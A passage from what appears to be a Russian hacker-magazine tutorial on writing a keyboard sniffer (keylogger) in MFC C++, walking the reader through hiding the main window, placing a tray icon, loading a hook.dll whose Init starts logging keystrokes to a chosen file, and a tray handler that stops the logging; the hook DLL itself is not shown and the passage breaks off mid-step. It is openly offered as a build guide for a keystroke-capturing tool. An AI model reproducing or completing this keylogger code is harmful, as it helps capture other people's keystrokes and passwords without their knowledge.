Высший пилотаж - пишем клавиатурный shiffer
Спецвыпуск Хакер, номер #004, стр. 004-074-3
if (m_FileName.IsEmpty())
{
AfxMessageBox("You must choose a log file before further processing", MB_OK | MB_ICONSTOP, 0);
return;
}
Он проверяет, задано ли имя файла. m_FileName - это имя, которое ты задал, когда добавлял к полю ввода строку. Если имя не задано, то выводится окно сообщения. Сразу ниже добавь такие строки:
ShowWindow(SW_HIDE);
NOTIFYICONDATA nid;
nid.cbSize = sizeof(NOTIFYICONDATA);
nid.hWnd = GetSafeHwnd();
nid.uID = IDR_MAINFRAME;
nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;
nid.uCallbackMessage = XWM_NOTIFYICON;
nid.hIcon = m_hIcon;
lstrcpyn(nid.szTip, "Invoke the SnifKbd main window", 30);
Shell_NotifyIcon(NIM_ADD, &nid);
Здесь прячется окно и рисуется иконка в tray со всплывающей подсказкой "Invoke the SnifKbd main window". Затем напиши:
hmod = LoadLibrary("hook.dll");
void (*pInit)(LPCTSTR);
pInit = (void (*)(LPCTSTR))GetProcAddress(hmod, "Init");
pInit(m_LogFile);
Непосредственно перед строками void Cxxxxxxx::Onxxxxxxx() и //TODO напиши:
HMODULE hmod;
Только что мы написали обработчик нажатия на кнопку "Начать". Теперь надо придумать, что будет делать прога при нажатии на кнопку "выбор файла". Во-первых, надо показать диалог сохранения файла под именем. Затем полученное имя скопировать в строку m_FileName и отобразить ее в поле ввода. Аналогично добавляем обработчик кнопки "выбор файла" и снизу от //TODO... пишем:
CFileDialog fdlgSave(FALSE, NULL, "keyb.log");
if (fdlgSave.DoModal() == IDOK)
{
SetDlgItemText(IDC_FILENAME, fdlgSave.GetPathName());
m_LogFile = fdlgSave.GetPathName();
}
Это весь код для второй кнопки.
Осталась не прописана одна вещь: ответ на щелчок юзера в иконке в tray'е. Надо поэтому написать обработчик и этого события. Так как он не связан с какими-либо элементами главного окна, добавлять его придется по-другому.
Сначала надо открыть вкладку ClassView в окне проекта в левой части экрана. Открыть дерево и щелкнуть правой кнопкой на элемент CxxxxxxDlg, но не CAboutDlg. В выползшем меню выбрать пункт Add Member Function. Появится окно, в котором в поле Function Type введи afx_msg LRESULT, в поле Function Declaration - OnNotifyIcon(WPARAM wParam, LPARAM lParam) (7.jpg). Нажми OK. Появится опять окно исходника. После //TODO... напиши код:
UINT uID = (UINT) wParam;
UINT uMsg = (UINT) lParam;
if (uMsg == WM_LBUTTONDOWN)
if (uID == IDR_MAINFRAME)
{
ShowWindow(SW_SHOW);
SetFocus();
NOTIFYICONDATA nid;
nid.cbSize = sizeof(NOTIFYICONDATA);
nid.hWnd = GetSafeHwnd();
nid.uID = IDR_MAINFRAME;
Shell_NotifyIcon(NIM_DELETE, &nid);
void (*pRelease)();
pRelease = (void (*)())GetProcAddress(hmod, "Release");
pRelease();
}
return 1;
Этот участок проги выводит главное окно на экран (6-я, 7-я строчки), убирает значок из tray (строчки 8-12) и отменяет слежение за клавой (строчки 13-15). Чтобы этот обработчик работал, найди в открытом файле строчку BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), но не BEGIN_MESSAGE_MAP(CAboutDlg, CDialog), и после нее напиши: